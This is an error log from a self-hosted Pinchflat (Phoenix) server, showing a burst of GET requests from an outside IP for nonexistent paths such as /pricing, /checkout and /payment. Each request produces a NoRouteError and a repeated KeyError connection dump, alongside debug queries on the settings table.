"accept-encoding" => "gzip", "connection" => "close", "host" => "pinchflat.internal.ubrown.me", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36", "x-forwarded-for" => "185.177.72.50", "x-forwarded-proto" => "https", "x-real-ip" => "185.177.72.50" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, streamid: 1, has_body: false }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.internal.ubrown.me", method: "GET", owner: #PID<0.3130.0>, params: %{}, path_info: ["pricing"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.internal.ubrown.me", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 77, 190}, req_cookies: %{}, req_headers: [ {"accept", "*/*, text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8"}, {"accept-encoding", "gzip"}, {"connection", "close"}, {"host", "pinchflat.internal.ubrown.me"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36"}, {"x-forwarded-for", "185.177.72.50"}, {"x-forwarded-proto", "https"}, {"x-real-ip", "185.177.72.50"} ], request_path: "/pricing", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GKDb-YKszs3JXYMAANIB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3129.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/pricing", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 49324}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*, text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "accept-encoding" => "gzip", "connection" => "close", "host" => "pinchflat.internal.ubrown.me", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36", "x-forwarded-for" => "185.177.72.50", "x-forwarded-proto" => "https", "x-real-ip" => "185.177.72.50" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, streamid: 1, has_body: false }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /pricing (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3129.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/pricing", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 49324}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*, text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "accept-encoding" => "gzip", "connection" => "close", "host" => "pinchflat.internal.ubrown.me", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36", "x-forwarded-for" => "185.177.72.50", "x-forwarded-proto" => "https", "x-real-ip" => "185.177.72.50" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, streamid: 1, has_body: false }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.internal.ubrown.me", method: "GET", owner: #PID<0.3130.0>, params: %{}, path_info: ["pricing"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.internal.ubrown.me", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 77, 190}, req_cookies: %{}, req_headers: [ {"accept", "*/*, text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8"}, {"accept-encoding", "gzip"}, {"connection", "close"}, {"host", "pinchflat.internal.ubrown.me"}, (truncated) 21:08:37.946 [info] GET /checkout 21:08:37.948 [debug] QUERY OK source="settings" db=0.5ms idle=104.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:08:37.948 [debug] QUERY OK source="settings" db=0.1ms idle=80.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:08:37.949 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 21:08:37.951 [info] GET /register 21:08:37.952 [debug] QUERY OK source="settings" db=0.5ms idle=83.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:08:37.952 [debug] QUERY OK source="settings" db=0.1ms idle=82.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:08:37.953 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 21:08:37.949 [error] #PID<0.3132.0> running PinchflatWeb.Endpoint (connection #PID<0.3131.0>, stream id 1) terminated Server: pinchflat.internal.ubrown.me:80 (http) Request: GET /checkout ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /checkout (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3131.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/checkout", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 49330}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*, text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "accept-encoding" => "gzip", "connection" => "close", "host" => "pinchflat.internal.ubrown.me", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36", "x-forwarded-for" => "185.177.72.50", "x-forwarded-proto" => "https", "x-real-ip" => "185.177.72.50" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, streamid: 1, has_body: false }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.internal.ubrown.me", method: "GET", owner: #PID<0.3132.0>, params: %{}, path_info: ["checkout"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.internal.ubrown.me", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 77, 190}, req_cookies: %{}, req_headers: [ {"accept", "*/*, text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8"}, {"accept-encoding", "gzip"}, {"connection", "close"}, {"host", "pinchflat.internal.ubrown.me"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36"}, {"x-forwarded-for", "185.177.72.50"}, {"x-forwarded-proto", "https"}, {"x-real-ip", "185.177.72.50"} ], request_path: "/checkout", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GKDb-YdHZdHXXHgAANKB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3131.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/checkout", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 49330}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*, text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "accept-encoding" => "gzip", "connection" => "close", "host" => "pinchflat.internal.ubrown.me", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36", "x-forwarded-for" => "185.177.72.50", "x-forwarded-proto" => "https", "x-real-ip" => "185.177.72.50" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, streamid: 1, has_body: false }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /checkout (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3131.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/checkout", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 49330}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*, text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "accept-encoding" => "gzip", "connection" => "close", "host" => "pinchflat.internal.ubrown.me", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36", "x-forwarded-for" => "185.177.72.50", "x-forwarded-proto" => "https", "x-real-ip" => "185.177.72.50" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, streamid: 1, has_body: false }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.internal.ubrown.me", method: "GET", owner: #PID<0.3132.0>, params: %{}, path_info: ["checkout"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.internal.ubrown.me", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 77, 190}, req_cookies: %{}, req_headers: [ {"accept", "*/*, text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8"}, {"accept-encoding", "gzip"}, {"connection", "close"}, {"host", "pinchflat.internal.ubro (truncated) 21:08:37.955 [info] GET /payment 21:08:37.956 [debug] QUERY OK source="settings" db=0.2ms queue=0.1ms idle=85.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:08:37.957 [debug] QUERY OK source="settings" db=0.2ms idle=8.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:08:37.957 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 21:08:37.953 [error] #PID<0.3134.0> running PinchflatWeb.Endpoint (connection #PID<0.3133.0>, stream id 1) terminated Server: pinchflat.internal.ubrown.me:80 (http) Request: GET /register ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /register (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3133.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/register", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 49332}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*, text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "accept-encoding" => "gzip", "connection" => "close", "host" => "pinchflat.internal.ubrown.me", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36", "x-forwarded-for" => "185.177.72.50", "x-forwarded-proto" => "https", "x-real-ip" => "185.177.72.50" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, streamid: 1, has_body: false }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.internal.ubrown.me", method: "GET", owner: #PID<0.3134.0>, params: %{}, path_info: ["register"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.internal.ubrown.me", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 77, 190}, req_cookies: %{}, req_headers: [ {"accept", "*/*, text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8"}, {"accept-encoding", "gzip"}, {"connection", "close"}, {"host", "pinchflat.internal.ubrown.me"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36"}, {"x-forwarded-for", "185.177.72.50"}, {"x-forwarded-proto", "https"}, {"x-real-ip", "185.177.72.50"} ], request_path: "/register", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GKDb-YeLyV7jmRUAANMB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3133.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/register", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 49332}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*, text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "accept-encoding" => "gzip", "connection" => "close", "host" => "pinchflat.internal.ubrown.me", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36", "x-forwarded-for" => "185.177.72.50", "x-forwarded-proto" => "https", "x-real-ip" => "185.177.72.50" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, streamid: 1, has_body: false }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /register (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3133.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/register", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 49332}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*, text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "accept-encoding" => "gzip", "connection" => "close", "host" => "pinchflat.internal.ubrown.me", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36", "x-forwarded-for" => "185.177.72.50", "x-forwarded-proto" => "https", "x-real-ip" => "185.177.72.50" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, streamid: 1, has_body: false }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.internal.ubrown.me", method: "GET", owner: #PID<0.3134.0>, params: %{}, path_info: ["register"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.internal.ubrown.me", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 77, 190}, req_cookies: %{}, req_headers: [ {"accept", "*/*, text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8"}, {"accept-encoding", "gzip"}, {"connection", "close"}, {"host", "pinchflat.internal.ubro (truncated) 21:08:37.957 [error] #PID<0.3136.0> running PinchflatWeb.Endpoint (connection #PID<0.3135.0>, stream id 1) terminated Server: pinchflat.internal.ubrown.me:80 (http) Request: GET /payment ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /payment (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3135.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/payment", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 49334}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*, text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "accept-encoding" => "gzip", "connection" => "close", "host" => "pinchflat.internal.ubrown.me", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36", "x-forwarded-for" => "185.177.72.50", "x-forwarded-proto" => "https", "x-real-ip" => "185.177.72.50" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, streamid: 1, has_body: false }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.internal.ubrown.me", method: "GET", owner: #PID<0.3136.0>, params: %{}, path_info: ["payment"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.internal.ubrown.me", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 77, 190}, req_cookies: %{}, req_headers: [ {"accept", "*/*, text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8"}, {"accept-encoding", "gzip"}, {"connection", "close"}, {"host", "pinchflat.internal.ubrown.me"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36"}, {"x-forwarded-for", "185.177.72.50"}, {"x-forwarded-proto", "https"}, {"x-real-ip", "185.177.72.50"} ], request_path: "/payment", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GKDb-YfQi7X0sW8AAGmC"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3135.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/payment", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 49334}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*, text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "accept-encoding" => "gzip", "connection" => "close", "host" => "pinchflat.internal.ubrown.me", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36", "x-forwarded-for" => "185.177.72.50", "x-forwarded-proto" => "https", "x-real-ip" => "185.177.72.50" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, streamid: 1, has_body: false }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /payment (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3135.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/payment", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 49334}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*, text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "accept-encoding" => "gzip", "connection" => "close", "host" => "pinchflat.internal.ubrown.me", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36", "x-forwarded-for" => "185.177.72.50", "x-forwarded-proto" => "https", "x-real-ip" => "185.177.72.50" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, streamid: 1, has_body: false }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.internal.ubrown.me", method: "GET", owner: #PID<0.3136.0>, params: %{}, path_info: ["payment"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.internal.ubrown.me", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 77, 190}, req_cookies: %{}, req_headers: [ {"accept", "*/*, text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8"}, {"accept-encoding", "gzip"}, {"connection", "close"}, {"host", "pinchflat.internal.ubrown.me"}, (truncated) 21:08:37.963 [info] GET /sitemap.xml 21:08:37.964 [debug] QUERY OK source="settings" db=0.1ms idle=15.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:08:37.965 [info] GET /donate 21:08:37.965 [debug] QUERY OK source="settings" db=0.4ms idle=12.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", 